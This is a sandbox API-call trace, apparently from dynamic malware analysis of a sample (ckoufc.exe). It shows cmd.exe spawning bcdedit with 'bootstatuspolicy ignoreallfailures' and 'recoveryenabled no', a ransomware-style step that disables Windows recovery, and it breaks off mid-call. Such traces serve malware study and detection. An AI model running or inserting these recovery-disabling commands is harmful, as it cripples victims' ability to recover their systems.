[0051.745] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0xaffaafeac0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xaffaafeac0) returned 0xffffffffffffffff [0051.748] GetLastError () returned 0x2 [0051.748] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.748] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0xaffaafeac0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xaffaafeac0) returned 0x1d43c1a18e0 [0051.748] GetProcessHeap () returned 0x1d43c1a0000 [0051.748] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, Size=0x28) returned 0x1d43c1a1940 [0051.748] FindClose (in: hFindFile=0x1d43c1a18e0 | out: hFindFile=0x1d43c1a18e0) returned 1 [0051.748] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0xaffaafeac0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xaffaafeac0) returned 0xffffffffffffffff [0051.748] GetLastError () returned 0x2 [0051.748] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0xaffaafeac0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xaffaafeac0) returned 0x1d43c1a18e0 [0051.748] GetProcessHeap () returned 0x1d43c1a0000 [0051.748] RtlReAllocateHeap (Heap=0x1d43c1a0000, Flags=0x0, Ptr=0x1d43c1a1940, Size=0x8) returned 0x1d43c1a1940 [0051.749] FindClose (in: hFindFile=0x1d43c1a18e0 | out: hFindFile=0x1d43c1a18e0) returned 1 [0051.749] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0051.749] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0051.749] ??_V@YAXPEAX@Z () returned 0x1 [0051.749] GetConsoleTitleW (in: lpConsoleTitle=0xaffaaff040, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.813] InitializeProcThreadAttributeList (in: lpAttributeList=0xaffaafef60, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xaffaafee50 | out: lpAttributeList=0xaffaafef60, lpSize=0xaffaafee50) returned 1 [0051.813] UpdateProcThreadAttribute (in: lpAttributeList=0xaffaafef60, dwFlags=0x0, Attribute=0x60001, lpValue=0xaffaafee3c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xaffaafef60, lpPreviousValue=0x0) returned 1 [0051.813] GetStartupInfoW (in: lpStartupInfo=0xaffaafeef0 | out: lpStartupInfo=0xaffaafeef0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0051.813] GetProcessHeap () returned 0x1d43c1a0000 [0051.813] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x20) returned 0x1d43c1a18e0 [0051.813] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0051.813] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0051.813] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0051.814] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0051.814] GetProcessHeap () returned 0x1d43c1a0000 [0051.814] RtlFreeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, BaseAddress=0x1d43c1a18e0) returned 1 [0051.815] GetProcessHeap () returned 0x1d43c1a0000 [0051.815] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x12) returned 0x1d43c1a8880 [0051.815] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1 [0051.816] _get_osfhandle (_FileHandle=1) returned 0xc [0051.816] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0051.844] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.844] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1f7) returned 1 [0052.027] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\bcdedit.exe", lpCommandLine="bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xaffaafee80*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit /set {default} bootstatuspolicy ignoreallfailures", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xaffaafee58 | out: lpCommandLine="bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0xaffaafee58*(hProcess=0x9c, hThread=0x98, dwProcessId=0x540, dwThreadId=0xf98)) returned 1 [0052.841] CloseHandle (hObject=0x98) returned 1 [0052.841] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0052.841] GetProcessHeap () returned 0x1d43c1a0000 [0052.841] RtlFreeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, BaseAddress=0x1d43c1a9430) returned 1 [0052.841] GetEnvironmentStringsW () returned 0x1d43c1a9430* [0052.841] GetProcessHeap () returned 0x1d43c1a0000 [0052.841] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0xb7e) returned 0x1d43c1a5f40 [0052.841] FreeEnvironmentStringsA (penv="=") returned 1 [0052.841] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0054.632] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0xaffaafedd8 | out: lpExitCode=0xaffaafedd8*=0x0) returned 1 [0054.632] CloseHandle (hObject=0x9c) returned 1 [0054.632] _vsnwprintf (in: _Buffer=0xaffaafefa8, _BufferCount=0x13, _Format="%08X", _ArgList=0xaffaafede8 | out: _Buffer="00000000") returned 8 [0054.632] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0054.632] GetProcessHeap () returned 0x1d43c1a0000 [0054.632] RtlFreeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, BaseAddress=0x1d43c1a5f40) returned 1 [0054.632] GetEnvironmentStringsW () returned 0x1d43c1a88a0* [0054.633] GetProcessHeap () returned 0x1d43c1a0000 [0054.633] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0xba4) returned 0x1d43c1ba020 [0054.633] FreeEnvironmentStringsA (penv="=") returned 1 [0054.633] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0054.633] GetProcessHeap () returned 0x1d43c1a0000 [0054.633] RtlFreeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, BaseAddress=0x1d43c1ba020) returned 1 [0054.634] GetEnvironmentStringsW () returned 0x1d43c1a88a0* [0054.634] GetProcessHeap () returned 0x1d43c1a0000 [0054.634] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0xba4) returned 0x1d43c1ba020 [0054.634] FreeEnvironmentStringsA (penv="=") returned 1 [0054.634] GetProcessHeap () returned 0x1d43c1a0000 [0054.634] RtlFreeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, BaseAddress=0x1d43c1a8880) returned 1 [0054.634] DeleteProcThreadAttributeList (in: lpAttributeList=0xaffaafef60 | out: lpAttributeList=0xaffaafef60) [0054.634] ??_V@YAXPEAX@Z () returned 0x1 [0054.634] _get_osfhandle (_FileHandle=1) returned 0xc [0054.634] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0054.724] _get_osfhandle (_FileHandle=1) returned 0xc [0054.724] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc08 | out: lpMode=0x7ff7b827fc08) returned 1 [0054.755] _get_osfhandle (_FileHandle=1) returned 0xc [0054.755] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0054.770] _get_osfhandle (_FileHandle=0) returned 0x8 [0054.770] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc0c | out: lpMode=0x7ff7b827fc0c) returned 1 [0054.779] SetConsoleInputExeNameW () returned 0x1 [0054.779] GetConsoleOutputCP () returned 0x1b5 [0054.920] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0054.920] SetThreadUILanguage (LangId=0x0) returned 0x409 [0055.127] exit (_Code=0) Thread: id = 18 os_tid = 0x6cc Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x7ba3000" os_pid = "0x770" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x47c" cmd_line = "/C bcdedit /set {default} recoveryenabled no" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 13 os_tid = 0xe5c [0050.120] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7b8240000 [0050.120] __set_app_type (_Type=0x1) [0050.120] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7b8256d00) returned 0x0 [0050.120] __getmainargs (in: _Argc=0x7ff7b8279200, _Argv=0x7ff7b8279208, _Env=0x7ff7b8279210, _DoWildCard=0, _StartInfo=0x7ff7b827921c | out: _Argc=0x7ff7b8279200, _Argv=0x7ff7b8279208, _Env=0x7ff7b8279210) returned 0 [0050.120] _onexit (_Func=0x7ff7b8257fd0) returned 0x7ff7b8257fd0 [0050.120] _onexit (_Func=0x7ff7b8257fe0) returned 0x7ff7b8257fe0 [0050.120] _onexit (_Func=0x7ff7b8257ff0) returned 0x7ff7b8257ff0 [0050.120] _onexit (_Func=0x7ff7b8258000) returned 0x7ff7b8258000 [0050.120] _onexit (_Func=0x7ff7b8258010) returned 0x7ff7b8258010 [0050.121] _onexit (_Func=0x7ff7b8258020) returned 0x7ff7b8258020 [0050.121] GetCurrentThreadId () returned 0xe5c [0050.121] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xe5c) returned 0x7c [0050.121] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0050.121] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0050.121] SetThreadUILanguage (LangId=0x0) returned 0x409 [0050.426] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0050.426] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xb49f0ffd78 | out: phkResult=0xb49f0ffd78*=0x0) returned 0x2 [0050.426] VirtualQuery (in: lpAddress=0xb49f0ffd64, lpBuffer=0xb49f0ffce0, dwLength=0x30 | out: lpBuffer=0xb49f0ffce0*(BaseAddress=0xb49f0ff000, AllocationBase=0xb49f000000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.426] VirtualQuery (in: lpAddress=0xb49f000000, lpBuffer=0xb49f0ffce0, dwLength=0x30 | out: lpBuffer=0xb49f0ffce0*(BaseAddress=0xb49f000000, AllocationBase=0xb49f000000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.426] VirtualQuery (in: lpAddress=0xb49f001000, lpBuffer=0xb49f0ffce0, dwLength=0x30 | out: lpBuffer=0xb49f0ffce0*(BaseAddress=0xb49f001000, AllocationBase=0xb49f000000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.426] VirtualQuery (in: lpAddress=0xb49f004000, lpBuffer=0xb49f0ffce0, dwLength=0x30 | out: lpBuffer=0xb49f0ffce0*(BaseAddress=0xb49f004000, AllocationBase=0xb49f000000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.426] VirtualQuery (in: lpAddress=0xb49f100000, lpBuffer=0xb49f0ffce0, dwLength=0x30 | out: lpBuffer=0xb49f0ffce0*(BaseAddress=0xb49f100000, AllocationBase=0xb49f100000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.426] GetConsoleOutputCP () returned 0x1b5 [0050.671] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0050.672] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7b8268150, Add=1) returned 1 [0050.672] _get_osfhandle (_FileHandle=1) returned 0xc [0050.672] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc04 | out: lpMode=0x7ff7b827fc04) returned 1 [0050.811] _get_osfhandle (_FileHandle=0) returned 0x8 [0050.811] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc00 | out: lpMode=0x7ff7b827fc00) returned 1 [0050.891] _get_osfhandle (_FileHandle=1) returned 0xc [0050.891] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x0) returned 1 [0051.044] _get_osfhandle (_FileHandle=1) returned 0xc [0051.044] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc08 | out: lpMode=0x7ff7b827fc08) returned 1 [0051.133] _get_osfhandle (_FileHandle=1) returned 0xc [0051.133] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0051.173] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.173] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc0c | out: lpMode=0x7ff7b827fc0c) returned 1 [0051.251] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.251] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0051.433] GetEnvironmentStringsW () returned 0x21a03df5af0* [0051.433] GetProcessHeap () returned 0x21a03df0000 [0051.433] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0xb2e) returned 0x21a03df6630 [0051.433] FreeEnvironmentStringsA (penv="A") returned 1 [0051.433] GetProcessHeap () returned 0x21a03df0000 [0051.433] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x8) returned 0x21a03df5af0 [0051.433] GetEnvironmentStringsW () returned 0x21a03df7170* [0051.433] GetProcessHeap () returned 0x21a03df0000 [0051.434] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0xb2e) returned 0x21a03df7cb0 [0051.434] FreeEnvironmentStringsA (penv="A") returned 1 [0051.434] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xb49f0fec28 | out: phkResult=0xb49f0fec28*=0x88) returned 0x0 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x0, lpData=0xb49f0fec40*=0x4, lpcbData=0xb49f0fec24*=0x1000) returned 0x2 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x4, lpData=0xb49f0fec40*=0x1, lpcbData=0xb49f0fec24*=0x4) returned 0x0 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x0, lpData=0xb49f0fec40*=0x1, lpcbData=0xb49f0fec24*=0x1000) returned 0x2 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x4, lpData=0xb49f0fec40*=0x0, lpcbData=0xb49f0fec24*=0x4) returned 0x0 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x4, lpData=0xb49f0fec40*=0x40, lpcbData=0xb49f0fec24*=0x4) returned 0x0 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x4, lpData=0xb49f0fec40*=0x40, lpcbData=0xb49f0fec24*=0x4) returned 0x0 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x0, lpData=0xb49f0fec40*=0x40, lpcbData=0xb49f0fec24*=0x1000) returned 0x2 [0051.434] RegCloseKey (hKey=0x88) returned 0x0 [0051.434] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xb49f0fec28 | out: phkResult=0xb49f0fec28*=0x88) returned 0x0 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x0, lpData=0xb49f0fec40*=0x40, lpcbData=0xb49f0fec24*=0x1000) returned 0x2 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x4, lpData=0xb49f0fec40*=0x1, lpcbData=0xb49f0fec24*=0x4) returned 0x0 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x0, lpData=0xb49f0fec40*=0x1, lpcbData=0xb49f0fec24*=0x1000) returned 0x2 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x4, lpData=0xb49f0fec40*=0x0, lpcbData=0xb49f0fec24*=0x4) returned 0x0 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x4, lpData=0xb49f0fec40*=0x9, lpcbData=0xb49f0fec24*=0x4) returned 0x0 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x4, lpData=0xb49f0fec40*=0x9, lpcbData=0xb49f0fec24*=0x4) returned 0x0 [0051.434] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xb49f0fec20, lpData=0xb49f0fec40, lpcbData=0xb49f0fec24*=0x1000 | out: lpType=0xb49f0fec20*=0x0, lpData=0xb49f0fec40*=0x9, lpcbData=0xb49f0fec24*=0x1000) returned 0x2 [0051.434] RegCloseKey (hKey=0x88) returned 0x0 [0051.435] time (in: timer=0x0 | out: timer=0x0) returned 0x5ce7051d [0051.435] srand (_Seed=0x5ce7051d) [0051.435] GetCommandLineW () returned="/C bcdedit /set {default} recoveryenabled no" [0051.435] malloc (_Size=0x4000) returned 0x21a040c55a0 [0051.435] GetCommandLineW () returned="/C bcdedit /set {default} recoveryenabled no" [0051.435] malloc (_Size=0xffce) returned 0x21a03fc0080 [0051.435] ??_V@YAXPEAX@Z () returned 0x21a03fc0080 [0051.436] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21a03fc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.436] malloc (_Size=0xffce) returned 0x21a03fd0060 [0051.621] ??_V@YAXPEAX@Z () returned 0x21a03fd0060 [0051.621] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21a03fd0060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0051.621] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0051.621] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0051.621] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0051.621] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0051.621] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0051.621] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0051.621] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0051.621] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0051.621] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0051.621] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0051.621] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0051.621] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0051.621] GetProcessHeap () returned 0x21a03df0000 [0051.621] RtlFreeHeap (HeapHandle=0x21a03df0000, Flags=0x0, BaseAddress=0x21a03df6630) returned 1 [0051.621] GetEnvironmentStringsW () returned 0x21a03df5b10* [0051.622] GetProcessHeap () returned 0x21a03df0000 [0051.622] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0xb46) returned 0x21a03df6660 [0051.622] FreeEnvironmentStringsA (penv="A") returned 1 [0051.622] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0051.622] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0051.622] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0051.622] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0051.622] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0051.622] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0051.622] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0051.622] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0051.622] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0051.622] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0051.622] malloc (_Size=0xffce) returned 